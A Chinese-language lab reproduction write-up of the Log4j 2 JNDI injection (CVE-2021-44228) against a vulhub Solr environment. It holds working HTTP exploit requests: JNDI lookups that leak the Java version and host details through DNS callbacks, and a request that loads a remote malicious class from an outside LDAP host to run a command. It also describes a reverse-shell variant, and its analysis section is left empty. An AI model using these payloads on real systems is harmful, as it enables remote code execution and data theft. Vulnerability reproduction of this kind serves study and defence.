漏洞簡介
Apache Log4j 2 是Java語言的日志處理套件,使用極為廣泛。在其2.0到2.14.1版本中存在一處JNDI注入漏洞,攻擊者在可以控制日志內容的情況下,通過傳入類似於${jndi:ldap://evil.com/example}的lookup用於進行JNDI注入,執行任意代碼。
漏洞環境
使用vulhub的環境https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2021-44228
訪問頁面
漏洞復現
使用dnslog回顯
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: 101.35.121.195:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
還有其他一些敏感信息可以外帶
${hostName}
${sys:user.dir}
${sys:java.version}
${java:os}
jndi注入
用jndi exploit去做遠程惡意類加載
執行touch /tmp/success
發送請求包
GET /solr/admin/cores?action=${jndi:ldap://1.15.177.22:1389/oltb2u} HTTP/1.1
Host: 101.35.121.195:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
可以看到命令已經成功執行
同理我們可以這樣去反彈shell
用jndi注入bash反彈shell的惡意類,反彈shell命令需要編碼
然后去請求觸發就可以了
漏洞分析
分析和CodeQL的調試之后再補下